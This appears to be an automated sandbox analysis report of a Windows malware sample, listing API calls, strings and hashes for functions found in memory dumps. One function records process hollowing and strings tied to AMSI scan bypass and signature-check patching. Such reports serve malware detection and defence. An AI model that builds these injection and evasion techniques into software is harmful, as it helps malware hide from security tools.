RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,00000000), ref: 16033569
RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 16033587
RegCloseKey.ADVAPI32(00000000), ref: 16033592

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: ab88186a108621171903608601e80ff842919bea68fbafa9162fe504fcee74f5
Instruction ID: 8a3dcfd12536d00ad314b6a43babafcf9a65600c128166a0772e1dd20a6d1c08
Opcode Fuzzy Hash: ab88186a108621171903608601e80ff842919bea68fbafa9162fe504fcee74f5
Instruction Fuzzy Hash: CAF0F976900218BFDF119FA09C45FEE7BBDEB04711F104195FA04E6140E2355A54AB90

Uniqueness

Uniqueness Score: -1.00%

Function 03F64D14 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(03F7D42C), ref: 03F64C32
SysAllocStringLen.OLEAUT32(?,?), ref: 03F64D1F
SysFreeString.OLEAUT32(00000000), ref: 03F64D31

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: ba129335089f3d90f653724f0258887992bab80df257910db5455db5ffd19b1f
Instruction ID: 8518c0d8015132e9adfdb3c440a23334b231c07806a149b883c904058a3ae38b
Opcode Fuzzy Hash: ba129335089f3d90f653724f0258887992bab80df257910db5455db5ffd19b1f
Instruction Fuzzy Hash: 7DE012BC5053026FEB15BF218D40F3B7369AFD1641B584498A401CE250DA34C4416674

Uniqueness

Uniqueness Score: -1.00%

Function 03F77098 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 03F77396

Strings

H, xrefs: 03F7714D

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: c994946a074f4fadaf5723a45e5ec7d3aa34524c737c8e349d32cf9cdcef3413
Instruction ID: f717f0407f3c4610c43dc7d0208c25306d319111bd22f2cc75468f44bc473f16
Opcode Fuzzy Hash: c994946a074f4fadaf5723a45e5ec7d3aa34524c737c8e349d32cf9cdcef3413
Instruction Fuzzy Hash: 8CB1E478E11609DFDB10DF98D8809ADBBF6FF89310F14856AE815AB360D731A845CF50

Uniqueness

Uniqueness Score: -1.00%

Function 03F6E71C Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 03F6E73D

Part of subcall function 03F6E320: VariantClear.OLEAUT32(?), ref: 03F6E32F

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 578464cee1ba5533841ba0805157bda2334ab63ce83a8e9af22dbc62aa7af6d0
Instruction ID: 623897d3096fdc7c553665df0bdccb8a6f68480d097e615f20b20621e0c64ef0
Opcode Fuzzy Hash: 578464cee1ba5533841ba0805157bda2334ab63ce83a8e9af22dbc62aa7af6d0
Instruction Fuzzy Hash: BB11C22EB107108BD720EB29CFC096677EDEFA5B507185466E49A8F245DA30CC04C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 03F6E3B8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 03F6E3F8

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 9b86c890928320b5ca2ff2b763d4a9d6a46115f9647c946ffd8063c758178f56
Instruction ID: 986fe63d4a22a1acc8c39d2306a15be266f0563f65ec765aa3405a0a3ab63baf
Opcode Fuzzy Hash: 9b86c890928320b5ca2ff2b763d4a9d6a46115f9647c946ffd8063c758178f56
Instruction Fuzzy Hash: 5D315E7FA04209AFDB10DFACCA84EAEBBF8EB69210F440561F905D7240D335E950C761

Uniqueness

Uniqueness Score: -1.00%

Function 03F76D28 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,03F76D75,?,?,?,00000000), ref: 03F76D55

Part of subcall function 03F64C24: SysFreeString.OLEAUT32(03F7D42C), ref: 03F64C32

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: b756866ebce25f7a54bd491afad3dd7796e0611b40ccdcff24a01c55f15060b3
Instruction ID: 55092c646a0bbf51f28067cedd9a1161caa075c224f484ec5fde5dbf5a98244a
Opcode Fuzzy Hash: b756866ebce25f7a54bd491afad3dd7796e0611b40ccdcff24a01c55f15060b3
Instruction Fuzzy Hash: 90E06D79614B08BFD705FBB2DD5199E76ECDB8A610BA20472A800E7601EAB59E0085A5

Uniqueness

Uniqueness Score: -1.00%

Function 03F6582C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(03F60000,?,00000105), ref: 03F6584A

Part of subcall function 03F65A90: GetModuleFileNameA.KERNEL32(00000000,?,00000105,03F60000,03F8B790), ref: 03F65AAC
Part of subcall function 03F65A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,03F60000,03F8B790), ref: 03F65ACA
Part of subcall function 03F65A90: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,03F60000,03F8B790), ref: 03F65AE8
Part of subcall function 03F65A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03F65B06
Part of subcall function 03F65A90: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,03F65B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03F65B4F
Part of subcall function 03F65A90: RegQueryValueExA.ADVAPI32(?,03F65CFC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,03F65B95,?,80000001), ref: 03F65B6D
Part of subcall function 03F65A90: RegCloseKey.ADVAPI32(?,03F65B9C,00000000,?,?,00000000,03F65B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03F65B8F

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 36ac8199cd3100c6d0ea6747034283b2de4f4045689bdbb239c39140d976698a
Instruction ID: ec3ffa6f60ceefd2d687f4f2f0958d80166411d7dccb23e9b27e92f6986c5ce8
Opcode Fuzzy Hash: 36ac8199cd3100c6d0ea6747034283b2de4f4045689bdbb239c39140d976698a
Instruction Fuzzy Hash: DEE06D71A003198BCB10DE6889C0A5633D8AB09754F0809A1EC58DF246D370D9109BD0

Uniqueness

Uniqueness Score: -1.00%

Function 03F67D9C Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 03F67DB0

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction ID: 8f449c0c5acc6ce5b1542508bd7d0514c2f1fcd1c4639ac65c95c227917f4996
Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction Fuzzy Hash: CED05BB63092107AD220E55B6C44DB76BECCBC9771F10067DB568C7180D6208C058271

Uniqueness

Uniqueness Score: -1.00%

Function 03F67E3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,03F81133,ScanString,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,ScanBuffer,03FC5344,03F88FEC,ScanString), ref: 03F67E47

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3fca3ef7285960aff002ce6aaf6464954507beed463b747c503eea14233f1ce8
Instruction ID: bd74a64ddea9cae93c231d084c6ba478f6f2e0754b91c70399fc8c5238e1bbe8
Opcode Fuzzy Hash: 3fca3ef7285960aff002ce6aaf6464954507beed463b747c503eea14233f1ce8
Instruction Fuzzy Hash: 9CC08CB4A023060EBE50F2FC2CD02AD5288096403C3281B61E028EA1D1D21B986E2420

Uniqueness

Uniqueness Score: -1.00%

Function 03F67E18 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,03F7E0EE,ScanString,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,ScanString,03FC5344,03F88FEC,UacScan,03FC5344,03F88FEC,UacInitialize), ref: 03F67E23

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 951039ecee422536e3dea04a53b9578876d15029f98b4fa6b434c683e6939a5b
Instruction ID: facc4b8d94a1954e0d1c3019b8f2f024aaaa2c7de4a9122801f5061359e41324
Opcode Fuzzy Hash: 951039ecee422536e3dea04a53b9578876d15029f98b4fa6b434c683e6939a5b
Instruction Fuzzy Hash: AEC02BB5B06301066E50F1FC1CC401E92C8095403C32C0F39F038DA3E1D23AC85F3460

Uniqueness

Uniqueness Score: -1.00%

Function 03F64C60 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(03F7D42C), ref: 03F64C32
SysReAllocStringLen.OLEAUT32(03F89E50,03F7D42C,00000016), ref: 03F64C7A

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 0aec7a72195ce8a2f02e67a76ce15a9c0b7882c7f493080007ec41662f53ab3b
Instruction ID: 8ba89210c09a0a832761ae90712dac4028dd19f6cc9e9b4811d1284f522e9844
Opcode Fuzzy Hash: 0aec7a72195ce8a2f02e67a76ce15a9c0b7882c7f493080007ec41662f53ab3b
Instruction Fuzzy Hash: C4D012649102035E9E2CFA178B04937E1A999E024274C8A5C94024A340E5618400D735

Uniqueness

Uniqueness Score: -1.00%

Function 03F64C3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 03F64C4F

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: aa052d25dd78002e50aa44a6486536333a5d6d40c34ef5eb19ce88693e560bd5
Instruction ID: 7c0778d0fbba206e7ae1ed6bb43f861dfa1197b70f8eed80f69c76b6d89a893d
Opcode Fuzzy Hash: aa052d25dd78002e50aa44a6486536333a5d6d40c34ef5eb19ce88693e560bd5
Instruction Fuzzy Hash: E7C012A5A0022147EF25E6599CC075562CC9B05295B1800A1D515DB340E66098109394

Uniqueness

Uniqueness Score: -1.00%

Function 03F89B3C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,03F89B30,00000000,00000001), ref: 03F89B4C

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: b3f871c4dbfc7cca1be03d7b63aa980ada1caaa3e17a1025ae47a8cd005cacfc
Instruction ID: 449de11c139e2d69a3a0d2bc2c0747c486dae39c95dcb8c117f16865211fea0c
Opcode Fuzzy Hash: b3f871c4dbfc7cca1be03d7b63aa980ada1caaa3e17a1025ae47a8cd005cacfc
Instruction Fuzzy Hash: 34C092F13A13047EF614EAE91EE2F33658DD705B00F600815B649EE2C2D6E2A8005264

Uniqueness

Uniqueness Score: -1.00%

Function 03F64BFC Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 03F64C03

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: ccab1a8b7c3a1b25aa8eaeb71ba8686d3af44ff1fde06bb8fd8ec5b6dd6b4182
Instruction ID: e939d332991dfcb41040813bd6e96bc940604740c15af5ccc19f0fb3ea5ee57d
Opcode Fuzzy Hash: ccab1a8b7c3a1b25aa8eaeb71ba8686d3af44ff1fde06bb8fd8ec5b6dd6b4182
Instruction Fuzzy Hash: 45B0123860830328FA54F6230F00732404C0BA11C1F8C04509E15CD1C1F901C011453A

Uniqueness

Uniqueness Score: -1.00%

Function 03F64C14 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 03F64C1B

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 98a5ded0fdb0df2e5a062e13461102ebbb408f0f94918d0aa90ba91e9420b17a
Instruction ID: 9514bcd786fddfdc14a3b38bc12d08d6a6fe8b98ede16f7f1ba976312f68da59
Opcode Fuzzy Hash: 98a5ded0fdb0df2e5a062e13461102ebbb408f0f94918d0aa90ba91e9420b17a
Instruction Fuzzy Hash: 52A022BC8003030B8F0BB32F0A2022FB032BFC22003CCC8E802008E200CE3A8000B0A8

Uniqueness

Uniqueness Score: -1.00%

Function 03F615CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,03F61A03,?,03F62000), ref: 03F615E2

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d03955bd28f84ef1c8a86dee94498bc59631c06b6e97c78b754a6ddc675a94c5
Instruction ID: c1ab808717bf5e926fb678fda504bcfa0f751cc9bd102b271f2eb72edc6273dd
Opcode Fuzzy Hash: d03955bd28f84ef1c8a86dee94498bc59631c06b6e97c78b754a6ddc675a94c5
Instruction Fuzzy Hash: 6BF0F9F0B61300AFDF05EF799AA4305BAE6EB89344F14857DD609DB398EB7184058B50

Uniqueness

Uniqueness Score: -1.00%

Function 03F61682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,03F62000), ref: 03F616A4

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5f0a86238e1e8932370d0c2ad9432964bfe546e7c673e6136c1a07146f323a61
Instruction ID: 605e895332a7ab0b7384742be4e2b995633c249cf1d545aa8d3c881f707044a8
Opcode Fuzzy Hash: 5f0a86238e1e8932370d0c2ad9432964bfe546e7c673e6136c1a07146f323a61
Instruction Fuzzy Hash: 0EF0B4B6A407996FD711DF5AAC90782BBE4FF01314F054139F9089B344D770A8008794

Uniqueness

Uniqueness Score: -1.00%

Function 03F616E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 03F61704

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b9252e80bf3f1f1c0127ccf89c2dcdbb5cd3643a04394276144d250c898f4a94
Instruction ID: a7ae1344da0b64d5b495e94e298de02830f30812860e98d95fb66f38299eda51
Opcode Fuzzy Hash: b9252e80bf3f1f1c0127ccf89c2dcdbb5cd3643a04394276144d250c898f4a94
Instruction Fuzzy Hash: EFE08C7A310301AFE7209B7A5D81B12BBD8EB59764F294476F601DB281D2A0E8108760

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03F77F48 Relevance: 41.9, APIs: 8, Strings: 15, Instructions: 1602nativethreadprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 03F77BE8: LoadLibraryW.KERNEL32(?,00000000,03F77C9A), ref: 03F77C18
Part of subcall function 03F77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,03F77C9A), ref: 03F77C1E
Part of subcall function 03F77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 03F77C37

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,03FC5398,03FC5388,OpenSession,03FC5360,03F79A30,ScanString,03FC5360), ref: 03F78446
GetThreadContext.KERNEL32(00000000,03FC53DC,ScanString,03FC5360,03F79A30,UacInitialize,03FC5360,03F79A30,ScanBuffer,03FC5360,03F79A30,ScanBuffer,03FC5360,03F79A30,UacInitialize,03FC5360), ref: 03F787DF
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,-00000008,03FC54B0,00000004,03FC54B8,ScanBuffer,03FC5360,03F79A30,ScanString,03FC5360,03F79A30,Initialize,03FC5360,03F79A30,UacScan,03FC5360), ref: 03F78A3C
NtUnmapViewOfSection.N(00000000,?,ScanBuffer,03FC5360,03F79A30,ScanString,03FC5360,03F79A30,Initialize,03FC5360,03F79A30,00000000,-00000008,03FC54B0,00000004,03FC54B8), ref: 03F78BB7

Part of subcall function 03F77968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 03F77975
Part of subcall function 03F77968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 03F7797B
Part of subcall function 03F77968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 03F7799B

NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,03FC54B8,ScanBuffer,03FC5360,03F79A30,ScanString,03FC5360,03F79A30,Initialize,03FC5360,03F79A30,ScanBuffer,03FC5360), ref: 03F7920B
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,-00000008,03FC54B4,00000004,03FC54B8,ScanBuffer,03FC5360,03F79A30,ScanString,03FC5360,03F79A30,Initialize,03FC5360,03F79A30,00000000,00000000), ref: 03F7937E
SetThreadContext.KERNEL32(00000000,03FC53DC,ScanBuffer,03FC5360,03F79A30,ScanString,03FC5360,03F79A30,Initialize,03FC5360,03F79A30,00000000,-00000008,03FC54B4,00000004,03FC54B8), ref: 03F794F4
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,03FC53DC,ScanBuffer,03FC5360,03F79A30,ScanString,03FC5360,03F79A30,Initialize,03FC5360,03F79A30,00000000,-00000008,03FC54B4), ref: 03F79501

Part of subcall function 03F77AC0: LoadLibraryW.KERNEL32(bcrypt,03F79A30,Initialize,03FC5360,03F79A30,UacScan,03FC5360,03F79A30,UacInitialize,03FC5360,03F79A30,00000000,03FC53DC,ScanString,03FC5360,03F79A30), ref: 03F77AD2
Part of subcall function 03F77AC0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 03F77ADF
Part of subcall function 03F77AC0: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,03F79A30,Initialize,03FC5360,03F79A30,UacScan,03FC5360,03F79A30,UacInitialize), ref: 03F77AF6
Part of subcall function 03F77AC0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,03F79A30,Initialize,03FC5360,03F79A30,UacScan,03FC5360,03F79A30,UacInitialize,03FC5360,03F79A30,00000000,03FC53DC), ref: 03F77B05

Strings

Initialize, xrefs: 03F782C2, 03F788D5, 03F78A5C, 03F78E45, 03F790A7, 03F79217, 03F7938A, 03F795EF
NtOpenObjectAuditAlarm, xrefs: 03F79811
ScanString, xrefs: 03F77FDA, 03F78185, 03F78333, 03F78760, 03F78946, 03F78ACD, 03F78F5A, 03F79118, 03F79288, 03F793FB, 03F796E6, 03F79793
NtReadVirtualMemory, xrefs: 03F797FD
bcrypt, xrefs: 03F79755, 03F79769, 03F7977D
sppc, xrefs: 03F7854E
ScanBuffer, xrefs: 03F780A4, 03F7812C, 03F784C7, 03F785DC, 03F7867E, 03F789B7, 03F78B3E, 03F78CD1, 03F78EB6, 03F78FCB, 03F79189, 03F792F9, 03F7946C, 03F79660, 03F7987E, 03F79941
ntdll, xrefs: 03F79802, 03F79816
BCryptRegisterProvider, xrefs: 03F79778
UacInitialize, xrefs: 03F7820A, 03F7856B, 03F786EF, 03F787F3, 03F78BEF, 03F78D63, 03F7950D
UacScan, xrefs: 03F7804B, 03F78263, 03F78864, 03F78C60, 03F78DD4, 03F7957E
BCryptQueryProviderRegistration, xrefs: 03F79764
OpenSession, xrefs: 03F77F81, 03F783A4, 03F78456, 03F7982C, 03F798D0
SLGetLicenseInformation, xrefs: 03F78537
BCryptVerifySignature, xrefs: 03F79750

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$AddressLibraryProcThreadWrite$ContextHandleLoadModule$AllocateCreateFreeProcessReadResumeSectionUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc
API String ID: 2533507481-2367850715
Opcode ID: 4e808c0ff3c02aa52b190e780b4e2ac5cb131c7304a7948b6641ac5bf13bd0be
